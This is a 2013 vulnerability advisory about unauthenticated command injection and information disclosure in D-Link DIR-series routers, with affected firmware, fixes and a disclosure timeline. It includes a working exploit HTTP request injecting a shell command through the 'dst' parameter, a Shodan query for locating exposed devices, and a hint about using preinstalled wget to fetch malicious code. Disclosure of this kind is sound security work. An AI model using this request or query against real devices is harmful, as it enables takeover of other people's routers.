Device Name: DIR-600 / DIR-300 revB / DIR-815 / DIR-645 / DIR-412 / DIR-456 / DIR-110
Vendor: D-Link

============  Vulnerable Firmware Releases: ============ 

DIR-815 v1.03b02 (unauthenticated command injection)
DIR-645 v1.02 (unauthenticated command injection)
DIR-645 v1.03 (authenticated command injection)
DIR-600 below v2.16b01 (with v2.16b01 D-Link also fixes different vulnerabilities reported in M1ADV2013-003)
DIR-300 revB v2.13b01 (unauthenticated command injection)
DIR-300 revB v2.14b01 (authenticated command injection)
DIR-412 Ver 1.14WWB02 (unauthenticated command injection)
DIR-456U Ver 1.00ONG (unauthenticated command injection)
DIR-110 Ver 1.01 (unauthenticated command injection)

Possible other versions and devices are also affected by this vulnerability.

============ Shodan Torks ============ 

Shodan search: Server: Linux, HTTP/1.1, DIR
  => 9300 results
  
============ Vulnerability Overview: ============ 

* OS Command Injection

The vulnerability is caused by missing input validation in the dst parameter and missing session validation and can be exploited to inject and execute arbitrary shell commands.

WARNING: You do not need to be authenticated to the device to insert and execute malicious commands.
Hint: On different devices like the DIR-645 wget is preinstalled and you are able to upload and execute your malicious code.

  => Parameter: dst

Example Exploit:
POST /diagnostic.php HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://xxxx/
Content-Length: 41
Cookie: uid=hfaiGzkB4z
Pragma: no-cache
Cache-Control: no-cache

act=ping&dst=%26%20COMMAND%26

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/05.04.2013%20-%20Dlink-DIR-645_msf-shell.txt.png

* Information disclosure:

Nice server banner to detect this type of devices easily:

Server Banner: Server: Linux, HTTP/1.1, DIR-815
Server Banner: Server: Linux, HTTP/1.1, DIR-645
Server Banner: Server: Linux, HTTP/1.1, DIR-600
Server Banner: Server: Linux, HTTP/1.1, DIR-300
Server Banner: Server: Linux, HTTP/1.1, DIR-412
Server Banner: Server: Linux, HTTP/1.1, DIR-456U
Server Banner: Server: Linux, HTTP/1.1, DIR-110

* Information Disclosure:

Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available via the network.

Request:
http://<IP>IP/DevInfo.txt or http://<IP>IP/version.txt (check the source of the site)

Response to DevInfo.txt:

Firmware External Version: V1.00
Firmware Internal Version: a86b
Model Name: DIR-815
Hardware Version: 
WLAN Domain: xxx
Kernel: 2.6.33.2
Language: en
Graphcal Authentication: Disable
LAN MAC: xx
WAN MAC: xx
WLAN MAC: xx

These details are available without authentication.

============ Solution ============

DIR-645: Update to firmware v1.04b5
DIR-600: Update to firmware v2.16B01
DIR-300rev B: Update to firmware 2.14B01 fixes the authentication bypass but not the command injection vulnerability.
Other devices: No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

14.12.2012 - discovered vulnerability in first device
14.12.2012 - contacted dlink via the webinterface http://www.dlink.com/us/en/home-solutions/contact-d-link
20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link
21.12.2012 - D-link responded that they will check the findings
11.01.2013 - requested status update
25.01.2013 - requested status update and updated D-Link with the other vulnerable devices
25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix.
07.02.2013 - after the DIR-600/300 drama D'Link contacted me and now they are talking with me ;)
since 07.02.2013 - Good communication and firmware testing
27.02.2013 - Roberto Paleari releases details about authentication bypass in DIR-645 - http://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt
05.04.2013 - vendor releases firmware updates
05.04.2013 - public release

===================== Advisory end =====================